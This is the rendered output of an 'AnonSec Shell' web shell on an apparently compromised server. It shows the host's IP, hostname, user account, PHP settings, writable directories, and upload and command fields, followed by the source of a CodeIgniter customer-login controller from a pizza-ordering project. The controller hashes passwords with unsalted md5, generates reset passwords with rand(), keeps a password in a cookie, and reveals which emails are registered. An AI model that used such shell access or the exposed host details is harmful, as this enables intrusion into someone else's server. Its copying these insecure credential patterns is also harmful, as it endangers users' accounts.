AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.103
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_projetos/sopizzas/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_projetos/sopizzas/application/controllers/customeradmin.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
session_start(); //we need to call PHP's session object to access it through CI
class Customeradmin extends CI_Controller {

  function __construct()
  {
     parent::__construct();
     $this->load->helper("url");
     $this->load->helper('form');
     $this->load->model('user');
     $this->load->library('form_validation');
     $this->load->library('session');
     //$this->load->model('customermanagement_model');
     $this->load->model('frontend_model');
     $this->load->model('dashboard_model');
     $this->load->library('myemail');
     
     $session_data = $this->session->userdata('logged_in');
     $this->load->library('m_pdf');
  }

     //if(empty($session_data)) { redirect('login', 'refresh'); }    

  function index( $offset = 0 )
  {
    if ($this->input->server('REQUEST_METHOD') == 'POST') {
        if ($this->input->post('form_name') && $this->input->post('form_name') == 'customer_register') {
          $this->addCustomerAdmin();
        }
        else if ($this->input->post('form_name') && $this->input->post('form_name') == 'forgot_password') {
          $this->sendForgotPasswordMail();
        }
    }
    else {

    $cookieData = $this->input->cookie('remember_me_token_customer');
    $cookieDataPass = $this->input->cookie('remember_me_token_customer_pass');
    $data['username'] = '';
    $data['password'] = '';
    $data['ischecked'] = '';

     
      if ($cookieData != "") {
      $result = $this->user->login_cookie_customer($cookieData);
      if($result)
      {
        $sess_array = array();
        foreach($result as $row)
        {

        $data['username'] = $row->customer_email;
        $data['password'] = $cookieDataPass;
        $data['ischecked'] = 'checked';

        }
      }
    }



      $session_data = $this->session->userdata('logged_in_customer');
      if(empty($session_data)) {
        $data['requestPage'] = '';
        $data['page'] = 'customer_login';
        $data['title'] = '';
        $data['keywords'] = '';
        $data['description'] = '';
        $this->load->view('frontend/header', $data);
        $this->load->view('frontend/login');
        $this->load->view('frontend/footer');
     }else{
      if ($this->input->post('requestPage') == 'checkout') {
        echo 'ok';
      }
      else {
        redirect('customer/dashboard');
      }
      //redirect('restaurantadmin/dashboardrestaurant');
     }
    }

  }

  function logout()
  {
    $this->session->unset_userdata('logged_in_customer');
    //session_destroy();
    //$this->input->set_cookie('remember_me_token_restaurant', '');
    redirect('restaurantadmin', 'refresh');
  }

  function register() {
    $session_data = $this->session->userdata('logged_in_customer');
    if(empty($session_data)) {
        $data['title'] = 'Customer Register';
        $data['page'] = 'customer_register';
        $this->load->view('frontend/register');
        $this->load->view('frontend/footer');
    }else{
        //redirect('restaurantadmin/dashboardrestaurant');
      echo "go to dashboard";
    }
  }

  function forgot_password()
  {
    $customer_email = $this->input->get('forgot_password');
    $this->db->select('*');
    $this->db->from('rt_customer');
    $this->db->where('customer_email', $customer_email);
    $query = $this->db->get();
    $num_rows = $query->num_rows();
    if ($num_rows && preg_match("/^[^@]{1,64}@[^@]{1,255}$/", $customer_email)) {
      echo http_response_code(200);
    }
    else {
      echo http_response_code(418);
    }
    //echo http_response_code(418);
  }

  function sendForgotPasswordMail() {
    $customer_email = $this->input->post('forgot_password');
    $this->db->trans_start();
    $this->db->select('customer_id');
    $this->db->from('rt_customer');
    $this->db->where('customer_email', $customer_email);
    $query = $this->db->get();
    $customer_data = $query->row();
    $data['customer_id'] = $customer_data->customer_id;
    $customer_id = $customer_data->customer_id;
    $new_password = rand(100000, 999999);
    $data_up = array(
        'customer_password'  =>  md5($new_password)
      );
    $this->db->where('customer_id', $customer_id);
    $this->db->update('rt_customer', $data_up);
    $this->db->trans_complete();
    /*echo($new_password);
    exit();*/

    $logo=base_url().'assets/logo-main.png';
    $image_path=base_url().'assets/';
    $variables = array();
    $restaurant_data = $this->restaurantmanagement_model->getRestaurantData($customer_id);
    $to = $restaurant_data['restaurant_contact_email'];
    $restaurant_contact_name = $restaurant_data['restaurant_contact_name'];
    $link_button=anchor('restaurantadmin/validateRestaurantOwner/' . md5($customer_id),'<button>Verify Email</button>');
    $link = anchor('restaurantadmin/validateRestaurantOwner/' . md5($customer_id));
    //$logo= $path."' style='height:48px; width:auto;'>";
    //$variables['recipient'] = $restaurant_contact_name;
    //$variables['name'] = $restaurant_contact_name;
    $variables['link_button'] = $link_button;
    $variables['link'] = $link;
    $variables['logo'] = $logo;
    $variables['image_path'] = $image_path;
    $variables['to_email'] = $to;

    $variables['email'] = $restaurant_data['restaurant_contact_email'];
    $variables['password'] = $new_password;
    
    $variables['site_address'] = SITE_ADDRESS;
    $variables['sender_name'] = SITENAME;
    $variables['site_name'] = SITENAME;
    $template_name = 'forgot_password';
    $mail_data = $this->frontend_model->getEmailTemplate($template_name);
    $mailcontent=htmlspecialchars_decode($mail_data->template);
    $subject = $mail_data->subject;
    foreach($variables as $key => $value) {
      $mailcontent = str_replace('{{'.$key.'}}', $value, $mailcontent);
    }
    $this->send_my_mail($to,$subject,$mailcontent, $mail_CC = '');
    $this->session->unset_userdata('restaurant_registration_id');
    $this->session->set_flashdata('success_msg', 'Your login details has been sent to your email address');
    redirect('restaurantadmin');
  }

  function addRestaurantAdmin() {
    /*echo "<pre>";
    print_r ($this->input->post());
    echo "</pre>";
    exit();*/
    $now = date('Y-m-d H:i:s');
    $this->form_validation->set_rules('restaurant_contact_email', 'Restaurant Contact Email', 'trim|required|is_unique[rt_restaurant.restaurant_contact_email]');
    $this->form_validation->set_message('is_unique', 'Entered email is already registered!');
    $this->form_validation->set_rules('restaurant_name', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_contact_name', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_phone', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_fax', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_zip', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_streetaddress', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_password', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_website', 'trim|xss_clean');
    $this->form_validation->set_rules('restaurant_salestax', 'trim|xss_clean');
    $this->form_validation->set_rules('order_receive_type', 'trim|xss_clean');
    
    if ($this->form_validation->run() == FALSE) {
      $this->register();
    }
    else {
      $order_receive_type_array = $this->input->post('order_receive_type');
      if(is_array($order_receive_type_array)) {
        $order_receive_type = implode(',', $order_receive_type_array);
      }
      else {
        $order_receive_type ='email';
      }

      $restaurant_password = $this->input->post('restaurant_password');

      $delivery_zone="[[41.49324271131432,-90.47262668609619],[41.49700357252215,-90.46794891357422],[41.49240693472465,-90.46438694000244],[41.48780997072924,-90.46940803527832]]";
      // We define our address
      $address = $this->input->post('restaurant_streetaddress');
      // We get the JSON results from this request
      if($address!='') {
        $geo = file_get_contents('http://maps.googleapis.com/maps/api/geocode/json?address='.urlencode($address).'&sensor=false');
        // We convert the JSON to an array
        $geo = json_decode($geo, true);
        // If everything is cool
        if ($geo['status'] = 'OK') {
        // We set our values
        $latitude = isset($geo['results'][0]['geometry']['location']['lat'])? $geo['results'][0]['geometry']['location']['lat']: DEFAULT_LAT;
        $longitude = isset($geo['results'][0]['geometry']['location']['lng'])? $geo['results'][0]['geometry']['location']['lng'] : DEFAULT_LONG;
        }
        else {
          $latitude = DEFAULT_LAT;
          $longitude = DEFAULT_LONG;
        }
      }
      else {
        $latitude = DEFAULT_LAT;
        $longitude = DEFAULT_LONG;
      }
      $this->db->trans_start();
      $data_in = array(
          'restaurant_contact_email'    =>  $this->input->post('restaurant_contact_email'),
          'restaurant_name'             =>  $this->input->post('restaurant_name'),
          'restaurant_contact_name'     =>  $this->input->post('restaurant_contact_name'),
          'restaurant_phone'            =>  $this->input->post('restaurant_phone'),
          'restaurant_fax'              =>  $this->input->post('restaurant_fax'),
          'restaurant_zip'              =>  $this->input->post('restaurant_zip'),
          'restaurant_streetaddress'    =>  $this->input->post('restaurant_streetaddress'),
          'restaurant_website'          =>  $this->input->post('restaurant_website'),
          'restaurant_salestax'         =>  $this->input->post('restaurant_salestax'),
          'order_receive_type'          =>  $order_receive_type,
          'restaurant_password'         =>  md5($restaurant_password),
          'latitude'                    =>  $latitude,
          'longitude'                   =>  $longitude,
          'delivery_zone_1'             =>  $delivery_zone,
          'delivery_zone_2'             =>  $delivery_zone,
          'delivery_zone_3'             =>  $delivery_zone,
          'restaurant_validate'         =>  0,
          'addeddate'                   =>  $now,
          'restaurant_status'           =>  '1',
          'restaurant_city'             =>  $this->input->post('restaurant_city'),
          'restaurant_state'            =>  $this->input->post('restaurant_state')
        );
      $this->db->insert('rt_restaurant', $data_in);
      $restaurant_registration_id = $this->db->insert_id();
      $restaurant_seourl = makeSEOurl($this->input->post('restaurant_name')).'-'.$restaurant_registration_id;
      $seo_data_up = array('restaurant_seourl' => $restaurant_seourl);
      $this->db->where('restaurant_id', $restaurant_registration_id);
      $this->db->update('rt_restaurant', $seo_data_up);
      $this->session->set_userdata('restaurant_registration_id', $restaurant_registration_id);
      redirect('restaurantadmin/thankyou');
    }
  }

  function thankyou() {
    $customer_id = $this->session->userdata('restaurant_registration_id');
    //$customer_id = 227;
    $data['restaurant_id'] = $customer_id;
    $this->db->trans_start();
    $data_up = array(
        'restaurant_validate_id'  =>  md5($customer_id)
      );
    $this->db->where('restaurant_id', $customer_id);
    $this->db->update('rt_restaurant', $data_up);
    $this->db->trans_complete();

    $logo=base_url().'assets/logo-main.png';
    $image_path = base_url().'assets/';
    $variables = array();
    $restaurant_data = $this->restaurantmanagement_model->getRestaurantData($customer_id);
    $to = $restaurant_data['restaurant_contact_email'];
    $driver_name = $restaurant_data['restaurant_contact_name'];
    $link_button=anchor('restaurantadmin/validateRestaurantOwner/' . md5($customer_id),'<button>Verify Email</button>');
    $link = anchor('restaurantadmin/validateRestaurantOwner/' . md5($customer_id));
    $only_link = base_url().'restaurantadmin/validateRestaurantOwner/' . md5($customer_id);
    //$logo="<img src='". $path."' style='height:48px; width:auto;'>";
    //$variables['recipient'] = $driver_name;
    //$variables['name'] = $driver_name;
    $variables['link_button'] = $link_button;
    $variables['link'] = $link;
    $variables['only_link'] = $only_link;
    $variables['logo'] = $logo;
    $variables['image_path'] = $image_path;
    $variables['to_email'] = $to;

    $variables['restaurant_id'] = $restaurant_data['restaurant_id'];
    $variables['restaurant_name'] = $restaurant_data['restaurant_name'];
    $variables['restaurant_phone'] = $restaurant_data['restaurant_phone'];
    $variables['restaurant_contact_email'] = $restaurant_data['restaurant_contact_email'];
    $variables['restaurant_zip'] = $restaurant_data['restaurant_zip'];
    $variables['restaurant_streetaddress'] = $restaurant_data['restaurant_streetaddress'];
    $variables['restaurant_salestax'] = $restaurant_data['restaurant_salestax'];
    
    $variables['site_address'] = SITE_ADDRESS;
    $variables['sender_name'] = SITENAME;
    $variables['site_name'] = SITENAME;
    $template_name = 'restaurant_email_verification';
    $mail_data = $this->frontend_model->getEmailTemplate($template_name);
    $mailcontent=htmlspecialchars_decode($mail_data->template);
    $subject = $mail_data->subject;
    foreach($variables as $key => $value) {
      $mailcontent = str_replace('{{'.$key.'}}', $value, $mailcontent);
    }
    /*$this->load->library('email');
    $config['charset'] = 'utf-8';
    $config['wordwrap'] = TRUE;
    $config['mailtype'] = 'html';
    $this->email->initialize($config);

    $this->email->from(SITENAME);
    $this->email->to($to);
    $this->email->subject($subject);
    $this->email->message($mailcontent);
    $this->email->send();*/
    $this->send_my_mail($to,$subject,$mailcontent);
    $this->session->unset_userdata('restaurant_registration_id');
    $data['title']  = "Thank You";  
    $data['page'] = "restaurant_admin_registration";
    $this->load->view('frontend/header',$data);
    $this->load->view('frontend/thankyou');
    $this->load->view('frontend/footer');
  }

  function validateRestaurantOwner($verify_code) {
    if ($verify_code != '') {
      $checkDriver = $this->restaurantmanagement_model->validateRestaurantOwner($verify_code);
      if ($checkDriver == 1) {
        $data['title']  = "Thank You";  
        $data['page'] = "restaurant_owner_valid";
        $this->load->view('frontend/header',$data);
        $this->load->view('frontend/thankyou');
        $this->load->view('frontend/footer');
      }
      else if ($checkDriver == 2) {
        $data['title']  = "Thank You";  
        $data['page'] = "restaurant_owner_already_valid";
        $this->load->view('frontend/header',$data);
        $this->load->view('frontend/thankyou');
        $this->load->view('frontend/footer');
      }
      else if ($checkDriver == 0) {
        $data['title']  = "Thank You";  
        $data['page'] = "restaurant_owner_invalid";
        $this->load->view('frontend/header',$data);
        $this->load->view('frontend/thankyou');
        $this->load->view('frontend/footer');
      }
    }
  }

function send_my_mail($mail_To,$mail_subject,$mail_Body,$mail_CC="")
{
    $mail_From = SITENAME;

    $mail = new PHPMailer();

    //Your SMTP servers details

    $mail->IsSMTP(); // set mailer to use SMTP
    $mail->Host = SMTP_HOST; // specify main and backup server or localhost
    $mail->SMTPAuth = true; // turn on SMTP authentication
    $mail->Username = SMTP_USER; // SMTP username
    $mail->Password = SMTP_PASSWORD; // SMTP password It should be same as that of the SMTP user

    //$mail->PluginDir = "/home/phpaucti/public_html/website_development/coding/includes/";
    $mail->From = $mail->Username; //Default From email same as smtp user
    $mail->FromName = $mail_From;
    $emailArr = explode(',',$mail_To);
    foreach($emailArr AS $emailVal) {
    $mail->AddAddress($emailVal, ""); //Email address where you wish to receive/collect those emails.
    }

    /*$emailCCArr = explode(',',$mail_CC);
    foreach($emailCCArr AS $emailCCVal) {
    $mail->AddCC($emailCCVal, ""); //Email address where you wish to receive/collect those emails.
    }*/


    $mail->WordWrap = 100; // set word wrap to 50 characters
    $mail->IsHTML(true); // set email format to HTML
    $mail->Subject = $mail_subject;
    $message = $mail_Body;
    $mail->Body = $message;

    if(!$mail->Send())
    {
    /*echo "Message could not be sent. <p>";
    echo "Mailer Error: " . $mail->ErrorInfo;
    exit;*/
    }
    else
    {
    //echo 'ok';
    }

}

}

Anon7 - 2022
AnonSec Team